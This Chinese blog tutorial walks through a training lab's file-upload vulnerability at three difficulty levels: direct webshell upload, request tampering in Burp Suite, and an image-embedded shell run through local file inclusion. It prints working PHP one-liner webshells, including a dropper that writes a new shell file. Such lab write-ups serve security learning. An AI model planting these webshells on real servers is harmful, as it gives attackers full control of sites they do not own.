OWASP-文件上传漏洞简述(低中高)

OWASP-文件上传漏洞简述:

注:仅作学习使用

OWASP-文件上传漏洞(低级):

首先上传一个jgp图片,测试它上传成功的反应:OWASP-文件上传漏洞简述(低中高)
发现上传成功是这样的:
OWASP-文件上传漏洞简述(低中高)
然后试试上传其他类型的文件,此处是一个html的文件,发现可以上传成功:
OWASP-文件上传漏洞简述(低中高)
再试试上传一句话木马可不可以:
OWASP-文件上传漏洞简述(低中高)
上传成功哈:
OWASP-文件上传漏洞简述(低中高)
访问一下自己的文件(靶场不同于网站,其他网站得自己找路径):
OWASP-文件上传漏洞简述(低中高)
虽然没看显示东西,但是东西就在这里哈:
OWASP-文件上传漏洞简述(低中高)
虽然这上面啥都没有显示,但是我们拿上这个url就可以使用软件去连接网站后台目录了:
此处使用的是蚁剑:
OWASP-文件上传漏洞简述(低中高)
添加数据:
OWASP-文件上传漏洞简述(低中高)
此时就可以对网站为所欲为啦,拿下网站权限了:
OWASP-文件上传漏洞简述(低中高)

OWASP-文件上传漏洞(中级):

OWASP-文件上传漏洞简述(低中高)

首先上传一个jpg文件,查看上传成功发反应:
OWASP-文件上传漏洞简述(低中高)
再试试其他类型能不能上传成功:
OWASP-文件上传漏洞简述(低中高)
发现其他文件类型全都不可以,判定它只允许上传jpg类型的文件:
只能上传jpg类型的文件怎么办呢?
我们可以试试burp suite修改文件头部试试看:
OWASP-文件上传漏洞简述(低中高)
发送后:
OWASP-文件上传漏洞简述(低中高)
成功上传!
然后点开蚁剑来连接:
OWASP-文件上传漏洞简述(低中高)连接成功!

OWASP-文件上传漏洞(高级):

首先上传一个jpg文件,查看上传成功发反应:
OWASP-文件上传漏洞简述(低中高)
再看看可不可以上传其他类型的文件:
OWASP-文件上传漏洞简述(低中高)
发现不可以,观察网站发现此网站有文件包含:OWASP-文件上传漏洞简述(低中高)
可以试试用本地文件包含的方式来拿到此网站的权限:
我们在 .jpg文件中添加木马:
此处使用软件为edjpgcom,直接把图片拖到上面就可以加马了
OWASP-文件上传漏洞简述(低中高)
输入要加的木马:
OWASP-文件上传漏洞简述(低中高)

使用notepad++查看,发现图片中已经有了我们加的木马:
OWASP-文件上传漏洞简述(低中高)
上传此图片:
OWASP-文件上传漏洞简述(低中高)
复制 …/…/hackable/uploads/webshell.jpg 这个路径,使用文件包含漏洞调用执行这个jpg文件
点到这里:
OWASP-文件上传漏洞简述(低中高)
OWASP-文件上传漏洞简述(低中高)
将page=后面的值替换为我们上传的文件位置路径:
OWASP-文件上传漏洞简述(低中高)我们看一下虚拟机里面是否生成木马:
OWASP-文件上传漏洞简述(低中高)
发现已经生成,点开蚁剑来连接:
OWASP-文件上传漏洞简述(低中高)
测试连接成功,我们已经拿到此网站的权限。
(测试连接时返回数据为空一般是木马的问题,不是url地址填错)
(返回一堆红色字母的是url错误)
以上涉及到的一些知识:

webshell

木马分为大马和小马:
大马:代码量比小马多,通常会进行二次编码
小马:一句话木马,即整个代码量只有一行
常用小马:

request是在网页端进行输出访问
<?php eval($_REQUESIT['shell']);?>
//eval通常调用phpinfo()参数
<?php system($_REQUESIT['shell']);?>
//system通常使用Linux命令,例如ls等..
post是使用中国菜刀、蚁剑等工具去连接
<?php @eval($_POST['shell']);?>
<?php fputs(fopen("shell20.php","w"),'<?php eval($_POST[123]);?>')?> ;?>
//创建一个叫shell20.php文件内容为'<?php eval($_POST[123]);?>'的文件并保存
//fputs() 函数写入文件,fopen() 函数打开文件,"w"写入方式打开,文件不存在就建一个。

文件包含:

文件包含漏洞是因为没有限制好包含文件的范围产生的。
当文件包含的时候,不管这个文件是什么文件,它都会把这个文件当作php文件进行执行。
当服务器开启了文件包含功能后,就可以通过php某些特性函数(如 include() )来包含其他文件,此时如果没有对文件来源进行严格的审查,可能就会造成导致文件被任意读取、网站被恶意侵害等。
它分为:
本地文件包含(Local File Inclusion):本地文件包含较难,因为你要突破重重阻碍把文件上传到服务器上才可以开始包含。
远程文件包含(Remote File Inclusion):通过http协议包含到不是本服务器上的其他地方的资源

上一篇:OWASP TOP 10


下一篇:OWASP-Top1——2021